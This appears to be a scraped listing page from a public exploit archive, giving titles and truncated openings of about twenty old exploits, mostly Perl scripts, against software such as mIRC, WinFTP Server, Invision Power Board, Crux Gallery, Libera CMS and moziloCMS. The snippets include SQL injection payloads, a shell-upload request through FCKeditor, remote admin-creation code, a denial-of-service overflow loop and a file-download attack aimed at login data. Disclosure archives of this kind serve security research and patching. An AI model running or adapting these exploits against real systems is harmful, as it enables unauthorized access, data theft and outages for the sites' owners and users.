mIRC 6.34 - Remote Buffer Overflow (PoC)

mIRC 6.34 - Remote Buffer Overflow PoC Mirc 6.34 Remote Buffer Overflow This poc allow you to own the 2 first EDI & EDX bytes. To become remote, add a simple document.location.href=irc://server.com/... in some html page use IO::Socket; sub sock my $sock=new IO::Socket::INET Listen = 1, LocalAddr ...

Crux Gallery <= 1.32 / Insecure Cookie Handling Vulnerability

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Crux Gallery = 1.32 / Insecure Cookie Handling Vulnerability -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Program: Crux Gallery Version: = 1,32 File affected: admin/ Download: http://www.arzdev.com/downloads/8/Crux Fou...

WinFTP Server 2.3.0 (NLST) Denial of Service Exploit

No description provided by source. !/usr/bin/perl Simple Dos Crap for the winftpsrv.exe v.2.3.0 by Julien Bedard use Net::FTP; $wftpsrvaddr = "255.255.255.255"; $overflow = "..?" x 35000; $user = "test"; $pass = "test"; $port = 21; $ftp = Net::FTP-new"$wftpsrvaddr", Debug = 0 || die "Cannot conne...

Crux Gallery <= 1.32 Insecure Cookie Handling Vulnerability

No description provided by source. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Crux Gallery = 1.32 / Insecure Cookie Handling Vulnerability -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Program: Crux Gallery Version: = 1,32 File affected: admin/ Download:...

Crux Gallery 1.32 - Insecure Cookie Handling

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Crux Gallery eNYe-Sec - www.enye-sec.org Program description by the author website Bug Exploit Note: POST is not checked and you can enter all by GET. Also you can create a simple perl script to send GET and POST packages. Navigate by...

The Gemini Portal 4.7 - Insecure Cookie Handling

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- The Gemini Portal eNYe-Sec - www.enye-sec.org Program description by the author website Bug Exploit Note: POST is not checked and you can enter all by GET. Also you can create a simple perl script to send GET and POST packages. Fir...

oscmax-upload.txt

!/usr/bin/perl use strict; use warnings; use LWP::UserAgent; use HTTP::Request::Common; print ; print "Localpath of shellC:/whatever: "; chompmy $file=; my $ua = LWP::UserAgent-new; my $re = $ua-requestPOST $url.'FCKeditor/editor/filemanager/browser/default/connectors/test.html', ContentType =...

Rianxosencabos CMS 0.9 - Remote Add Admin

!/usr/bin/perl -w Rianxosencabos CMS 0.9 Remote Add Admin Exploit Download: http://downloads.sourceforge.net/rsccms/rsccms.tar.gz written by ka0x D.O.M Labs - Security Researchers - www.domlabs.org - use LWP::UserAgent; my $host, $login, $pass, $mail, $userid = @ARGV ; unless$ARGV4 print " usage:...

Invision Power Board 2.* commands execution exploit by RST/GHC

No description provided by source. !/usr/bin/perl Invision Power Board 2. commands execution exploit by RST/GHC vulnerable versions = 2.1.5 tested on 2.1.4, 2.0.2 coded by 1dt.w0lf RST/GHC http://rst.void.ru http://ghc.ru use IO::Socket; use Getopt::Std; getopts"l:h:p:d:f:v:"; $host = $opth; $dir...

addalink <= 4 Arbitrary Admin Access Vulnerability Exploit

No description provided by source. addalink = 4 Arbitrary Admin Access Vulnerability Exploit url: http://sourceforge.net/projects/addalink/ Author: JosS mail: sys-projectathotmaildotcom site: http://spanish-hackers.com team: Spanish Hackers Team - SHT This was written for educational purpose. Use...

Sports Clubs Web Panel 0.0.1 - Remote Game Delete

!/usr/bin/perl -W Sports Clubs Web Panel 0.0.1 Remote Game Delete Exploit File affected: include/draw-delete.php id Vuln Code: 06: $did = $GET'id'; 08: mysqlquery"DELETE FROM draw WHERE did='$did'"; by ka0x D.O.M Labs - Security Researchers - www.domlabs.org - ka0x@domlabs:/codes$ ./sportspanel.p...

Sports Clubs Web Panel 0.0.1 - Remote Game Delete

Sports Clubs Web Panel 0.0.1 - Remote Game Delete !/usr/bin/perl -W Sports Clubs Web Panel 0.0.1 Remote Game Delete Exploit File affected: include/draw-delete.php id Vuln Code: 06: $did = $GET'id'; 08: mysqlquery"DELETE FROM draw WHERE did='$did'"; by ka0x D.O.M Labs - Security Researchers -...

Libera CMS 1.12 - 'cookie' SQL Injection

!/usr/bin/perl ---------------------------------------------------------- Libera CMS agent"Mozilla/4.5 en Win95; U"; $https-timeout1; $https-defaultheader'Cookie' = "liberastaffpass=' or '1=1"; $request = $https-post$hostname."/admin.php?action=adduserprocess", username = $username, password =...

Acoustica MP3 CD Burner 4.51 Build 147 - '.asx' Local Buffer Overflow

!/usr/bin/perl Acoustica MP3 CD Burner asx file Local BOF Exploit Author: Koshi Date: 08-29-08 0day Application: Acoustica MP3 CD Burner Version: 4.51 Build 147 possibly older Site: http://acoustica.com/download.htm Tested On: Windows XP SP3 Fully Patched Based off of n00b's findings...

Pars4U Videosharing V1 XSS / Remote Blind SQL Injection Exploit

No description provided by source. !/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if!$ARGV1 print " \n"; print " VIVA ISLAME VIVA ISLAME \n"; print " VIVA ISLAME VIVA ISLAME \n"; print " \n"; print " Pars4u Videosharing V1 Blind SQL Injection Exploit \n"; print " \n"; print "...

Pars4U Videosharing 1.0 - Cross-Site Scripting / Blind SQL Injection

!/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if!$ARGV1 print " \n"; print " VIVA ISLAME VIVA ISLAME \n"; print " VIVA ISLAME VIVA ISLAME \n"; print " \n"; print " Pars4u Videosharing V1 Blind SQL Injection Exploit \n"; print " \n"; print " categoriesportal.php catid \n"; print "...

K-Links Directory Blind SQL Injection Exploit

!/usr/bin/perl K-Links Directory Blind SQL Injection Exploit ..::virangar security team::.. www.virangar.net C0d3d BY:virangar security team hadihadi special tnx to: MR.nosrati,black.shadowes,MR.hesy,Ali007,Zahra & all virangar members & all hackerz my lovely friends hadiaryaie2004 & arashimm02ta...

Pcshey Portal - 'kategori.asp' SQL Injection

source: https://www.securityfocus.com/bid/30534/info Pcshey Portal is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify...

moziloCMS 1.10.1 (download.php) Arbitrary Download File Exploit

No description provided by source. !/usr/bin/perl moziloCMS 1.10.1 Perl exploit discovered & written by Ams ax330d doggy gmail dot com DESCRIPTION: Vulnerability hides in "download.php", which we can use to download any file we want to. Here, for example, "admin/conf/logindata.conf". Btw, not ver...

eNdonesia 8.4 (Calendar Module) - SQL Injection

eNdonesia 8.4 Calendar Module - SQL Injection !/usr/bin/perl /-----------------------------------------------\ | /-----------------------------------------\ | | | Remote SQL Exploit | | | | eNdonesia 8.4 Remote SQL Exploit | | | | www.endonesia.org | | | | Calendar Module | | |...